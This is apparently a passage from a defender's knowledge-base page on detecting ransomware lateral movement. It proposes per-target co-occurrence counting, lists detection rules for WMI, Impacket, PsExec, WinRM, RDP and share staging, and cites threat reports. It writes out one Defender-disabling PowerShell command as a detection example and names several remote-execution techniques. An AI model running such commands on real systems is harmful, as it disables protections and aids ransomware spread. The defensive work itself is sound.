If every target in the environment suddenly has `Set-MpPreference -DisableRealtimeMonitoring $true` run against it within the same minute, that's not a human at a keyboard. That's a spread module firing. See [[edr-win-def-defender-tampering]].
### Takeaway
Every lateral movement detection rule should now be paired with a **per-target primitive co-occurrence counter**. One primitive firing is an alert. Two primitives firing at the same target in the same minute is a ransomware-grade alert. Three or more is burn-the-network.
---
## Detections
| Rule ID | Description | Road |
|---|---|---|
| [[edr-win-lat-wmic-remote-node]] | WMI Remote Process Execution via Native Binaries | 1 |
| [[edr-win-lat-impacket-wmiexec]] | Impacket WmiExec / AtExec Lateral Movement (ADMIN$ + Windows\Temp output redirection) | 1, 2 |
| [[edr-win-lat-schtasks-remote]] | Native `schtasks /S` Remote Task Creation with UNC `/TR` | 2 |
| [[edr-win-lat-remote-psexec]] | Remote PsExec Service Execution (and UNC `ImagePath` / `%COMSPEC%` variants) | 3 |
| [[edr-win-lat-winrm-abuse]] | Remote Execution via WinRM Abuse | 4 |
| [[edr-win-lat-rdp-enable]] | RDP Enablement via Registry or Firewall Modification | 5 |
| [[edr-win-lat-anon-share-pull]] | Anonymous Share Staging (null-session payload pull) | 6 |
| [[corr-ransomware-spread-multi-primitive]] | Per-Target Primitive Co-occurrence (ransomware spread-module signature) | Correlation |
---
## Key Publications
1. [Check Point Research - DFIR Report: The Gentlemen](https://research.checkpoint.com/2026/dfir-report-the-gentlemen/) (Apr 2026) — `--spread` module hitting four primitives in parallel, native `sc` with UNC `binpath=`, native `schtasks /S` with UNC `/TR`, anonymous-share pull staging, the Defender-kill template run on every target
2. [Sophos - Nowhere, Man: The 2026 Active Adversary Report](https://www.sophos.com/en-us/blog/2026-sophos-active-adversary-report) (2026) (Impacket 36% of tools, 83% YoY increase; RDP 66% of cases)
3. [Sophos - It Takes Two: The 2025 Active Adversary Report](https://news.sophos.com/en-us/2025/04/02/2025-sophos-active-adversary-report/) (Apr 2025)
4. [CISA/FBI - #StopRansomware: Akira Ransomware (AA24-109A)](https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-109a) (Apr 2024, updated Nov 2025)
5. [CISA/FBI/ASD - #StopRansomware: Play Ransomware (AA23-352A)](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-352a) (Dec 2023, updated Jun 2025)
6. [CISA/FBI - #StopRansomware: Black Basta (AA24-131A)](https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-131a) (May 2024)
7. [CISA/FBI - #StopRansomware: RansomHub (AA24-242a)](https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-242a) (Aug 2024)
8. [DFIR Report - Blurring the Lines: Three Ransomware Gangs](https://thedfirreport.com/2025/09/08/blurring-the-lines-intrusion-shows-connection-with-three-major-ransomware-gangs/) (Sep 2025)
9. [Huntress - 2025 Cyber Threat Report](https://www.huntress.com/blog/huntress-2025-cyber-threat-report-proliferating-rats-evolving-ransomware-and-other-findings) (2025)
10. [eSentire - From Access to Encryption: Hunters International](https://www.esentire.com/blog/from-access-to-encryption-dissecting-hunters-internationals-latest-ransomware-attack) (Feb 2025)
11. [Trend Micro - Unmasking The Gentlemen Ransomware](https://www.trendmicro.com/en_us/research/25/i/unmasking-the-gentlemen-ransomware.html) (Sep 2025) — corroborating Gentlemen TTPs, GPO abuse, NETLOGON deployment
12. [BushidoToken - Ransomware Tool Matrix](https://github.com/BushidoUK/Ransomware-Tool-Matrix) (ongoing)